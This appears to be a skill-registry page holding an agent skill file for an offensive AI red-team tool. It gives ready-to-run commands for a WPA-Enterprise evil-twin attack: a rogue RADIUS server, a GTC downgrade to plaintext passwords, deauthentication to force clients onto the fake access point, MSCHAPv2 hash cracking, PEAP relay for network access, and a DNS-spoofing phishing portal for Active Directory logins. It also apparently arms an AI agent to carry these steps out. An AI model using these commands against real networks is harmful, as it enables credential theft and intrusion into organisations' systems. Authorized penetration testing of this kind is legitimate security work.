CtrlK
BlogDocsLog inGet started
Tessl Logo

wpa-enterprise-eap

WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.

63

Quality

76%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md
SKILL.md
Quality
Evals
Security

WPA-Enterprise / 802.1X / EAP

MSCHAPv2 over PEAP/EAP-TTLS is the dominant enterprise Wi-Fi credential type in corporate environments. A captured challenge/response is directly equivalent to a NetNTLMv1/v2 hash. Crack it and you have a domain account; relay it and you may gain network access without cracking at all.

Prerequisites

  • Monitor-mode + injection-capable adapter; second adapter optional (for deauth while rogue AP is running on first).
  • Tools: eaphammer, hostapd-wpe (hostapd with WPE patch), asleap, hashcat, john.
  • Rogue AP requires a valid TLS cert (self-signed or Let's Encrypt clone). eaphammer ships a cert generator.
  • RoE gate: evil-twin AP requires permitted_actions: evil_twin AND permitted_actions: rogue_radius in plan/roe.json. Check iw reg get before activating any TX.

Step 1 — EAP method recon

Identify the EAP method(s) in use before standing up the rogue AP:

# Passive capture of EAP Identity + EAP method negotiation
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/eap_recon \
    --output-format pcap <mon-iface>

# Extract EAP type from the capture
tshark -r /tmp/eap_recon-01.cap -Y "eap" \
    -T fields -e wlan.sa -e eap.identity -e eap.type 2>/dev/null | head -20

# EAP types: 25=PEAP, 21=EAP-TTLS, 13=EAP-TLS, 43=EAP-FAST, 6=GTC
# Check client TLS validation posture (Android / Linux common misconfiguration)
# Look for EAP-TTLS or PEAP with no CA configured — the wpa_supplicant
# "phase2" credential accepts any server cert by default on many distros.
# Detection: if client completes TLS handshake with a self-signed cert
# on your rogue AP → validation not enforced → capture succeeds.

Step 2A — Rogue RADIUS with eaphammer (recommended)

# 1. Generate a rogue cert matching the target org domain
python3 eaphammer --cert-wizard

# 2. Stand up rogue Enterprise AP targeting PEAP-MSCHAPv2
#    Replace <SSID> with the exact target SSID.
python3 eaphammer -i <iface> \
    --channel <CHANNEL> \
    --auth wpa-eap \
    --essid "<SSID>" \
    --creds \
    --negotiate gtc-downgrade

# --negotiate gtc-downgrade forces EAP-GTC instead of MSCHAPv2 on
# clients that would otherwise validate the server cert. GTC sends
# the password in plaintext inside the TLS tunnel.

# 3. On MSCHAPv2 capture, eaphammer prints:
#    [+] Captured EAP identity: DOMAIN\username
#    [+] MSCHAPv2 challenge: aabbccdd...
#    [+] MSCHAPv2 response: 00112233...
# Save to /workspace/evidence/wireless/eap_<bssid>.txt

Step 2B — hostapd-wpe (alternative, wider EAP-type support)

# 1. Configure /etc/hostapd-wpe/hostapd-wpe.conf:
#    interface=<iface>
#    ssid=<TARGET_SSID>
#    channel=<CHANNEL>
#    eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user

# 2. Launch
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

# 3. WPE logs to stdout:
#    wpe: identity: DOMAIN\user
#    wpe: challenge: 7a8b9c...
#    wpe: response: 001122...

Step 3 — Optional: drive client association via deauth

# If clients are stubbornly staying on the legitimate AP, deauth
# them to trigger reassociation to the rogue AP.
# Requires permitted_actions: deauth_for_handshake_capture in RoE.
sudo aireplay-ng --deauth 1 -a <LEGIT_BSSID> -c <CLIENT_MAC> <mon-iface>

Step 4A — Offline crack (MSCHAPv2 → NetNTLM)

# asleap: fast MSCHAPv2 cracker against dictionary
asleap -C <challenge_hex> -R <response_hex> \
    -W /usr/share/wordlists/rockyou.txt

# hashcat: convert to netntlmv2 format then crack with -m 5600
# Format: username::::response:challenge  (NetNTLMv2 hashcat style)
echo "DOMAIN\\username::::${response_hex}:${challenge_hex}" \
    > /tmp/ntlm.hash
hashcat -m 5600 /tmp/ntlm.hash /usr/share/wordlists/rockyou.txt \
    --rules-file /usr/share/hashcat/rules/best64.rule

# john the ripper alternative
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt \
    /tmp/ntlm.hash

Step 4B — PEAP relay (network access without cracking)

When the password is complex and unlikely to crack in engagement timeframe, relay the MSCHAPv2 exchange to gain Wi-Fi network access:

# hostapd-mana (full MANA attack) + wpa_sycophant for PEAP relay
# wpa_sycophant relays the EAP exchange upstream to the legit RADIUS,
# completing auth and granting the attacker network access.

# 1. Start wpa_sycophant pointing at the legitimate AP
sudo python3 wpa_sycophant.py -c wpa_sycophant.conf \
    --interface <second-iface>

# 2. Start rogue AP with berate_ap (hostapd-mana variant)
sudo berate_ap --mana --mana-credout /tmp/mana_creds.txt \
    <iface> <upstream-iface> "<SSID>"

# Result: attacker AP completes EAP auth by proxying to the real
# RADIUS; attacker device gets a valid IP on the enterprise WLAN.

Step 5 — Hostile portal AD credential capture

# After MITM network access, redirect HTTP traffic to a phishing page
# that mimics the corporate SSO/OWA/VPN login.
# Use bettercap + dns.spoof + http.proxy for transparent MITM:
sudo bettercap -iface <client-bridge-iface> \
    -eval "net.probe on; dns.spoof on; http.proxy on"
# Configure http.proxy to inject credential-capture page.
# Captured creds stored to /workspace/evidence/wireless/portal_creds.txt

Evidence

kg_add_node(
    kind="credential",
    label=f"EAP MSCHAPv2 for {identity} on {ssid}",
    props={
        "key": f"eap-mschapv2::{bssid}::{identity}",
        "secret_type": "eap_mschapv2",
        "ssid": ssid,
        "bssid": bssid,
        "eap_identity": identity,          # e.g. "CORP\\jsmith"
        "eap_realm": realm,                # e.g. "corp.example.com"
        "challenge": challenge_hex,
        "response": response_hex,
        "plaintext_password": password,    # null if not cracked
        "attack_path": "rogue-radius-eaphammer",
        "source": "eaphammer",
    },
)

kg_add_node(
    kind="finding",
    label="WPA-Enterprise: Server Certificate Not Validated",
    props={
        "key": f"eap-cert-validation::{bssid}",
        "severity": "critical",
        "affected_clients": [<mac_list>],
        "remediation": (
            "Configure wpa_supplicant with ca_cert pointing to the "
            "corporate CA, or enforce 802.1X server cert validation "
            "via MDM policy."
        ),
    },
)

ZFP

  1. eaphammer / hostapd-wpe console output showing captured identity + challenge/response.
  2. asleap or hashcat --show output proving password crack (if successful).
  3. For relay path: ip addr output showing IP assignment on the enterprise WLAN.

RoE gate

HARD STOP: rogue RADIUS AP requires ALL of:
  plan/roe.json:permitted_actions contains "evil_twin"
  plan/roe.json:permitted_actions contains "rogue_radius"
  regulatory domain TX authorized for the target channel
  No public airspace without explicit operator approval in session

OPSEC notes

  • EAP identity is sent in cleartext before the TLS tunnel; passive capture of usernames is possible without standing up a rogue AP (quieter for recon).
  • eaphammer with --negotiate gtc-downgrade is louder than passive capture — generates EAP Nak frames visible to WIDS.
  • PEAP relay requires sustained active TX; posture = loud.
  • Hand cracked NetNTLM to offensive-active-directory skill for NTLM-relay / pass-the-hash chain.

References

  • eaphammer: github.com/s0lst1c3/eaphammer
  • hostapd-wpe: github.com/OpenSecurityResearch/hostapd-wpe
  • wpa_sycophant: github.com/sensepost/wpa_sycophant
  • asleap: github.com/joswr1ght/asleap
  • offensive-active-directory skill — post-foothold NTLM relay once creds land.
  • evil-twin-karma skill — general rogue AP setup mechanics.
  • deauth-pmf skill — targeted deauth for client coercion.
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.